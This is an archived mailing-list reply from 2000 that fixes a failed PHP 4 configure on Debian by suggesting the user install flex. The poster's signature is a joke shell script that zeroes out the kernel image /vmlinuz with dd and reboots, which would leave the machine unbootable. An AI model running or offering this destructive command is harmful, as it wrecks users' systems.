[Date Prev][Date Next] [Thread Prev][Thread Next] [Date Index] [Thread Index]

Re: configure php4 problem



On Sat, Jun 17, 2000 at 03:10:03PM -0400, Chris Mason wrote:
> I am compiling php4 from the tarball on my potato system,  but each time I
> do the configure I get an error:
> 
> FIREWALL:/usr/src/apache/php-4.0.0#
> ./configure --with-mysql=/usr/local/mysql --with-apache=/usr/src/apache/apac
> he_1.3.12 --enable-track-vars
> loading cache ./config.cache
> checking for a BSD compatible install... /usr/bin/install -c
> checking whether build environment is sane... yes
> checking whether make sets ${MAKE}... yes
> checking for working aclocal... missing
> checking for working autoconf... missing
> checking for working automake... missing
> checking for working autoheader... missing
> checking for working makeinfo... found
> checking whether to enable maintainer-specific portions of Makefiles... no
> checking host system type... i586-pc-linux-gnu
> checking for bison... no
> checking for byacc... no
> configure: warning: You will need bison if you want to regenerate the PHP
> parsers.
> checking for gcc... gcc
> checking whether the C compiler (gcc  ) works... yes
> checking whether the C compiler (gcc  ) is a cross-compiler... no
> checking whether we are using GNU C... yes
> checking whether gcc accepts -g... yes
> checking how to run the C preprocessor... gcc -E
> checking for AIX... no
> checking for gcc option to accept ANSI C... none needed
> checking for ranlib... ranlib
> checking whether gcc and cc understand -c and -o together... yes
> checking whether ln -s works... yes
> checking for flex... no
> checking for lex... no
> ./configure: flex: command not found
> checking for flex... lex
> checking for yywrap in -ll... no
> checking lex output file root... ./configure: lex: command not found
> configure: error: cannot find output from lex; giving up
> 
> 
> Any clues why

Looks like you don't have flex or lex installed. apt-get install flex.

-- 
#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
     count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now



Reply to: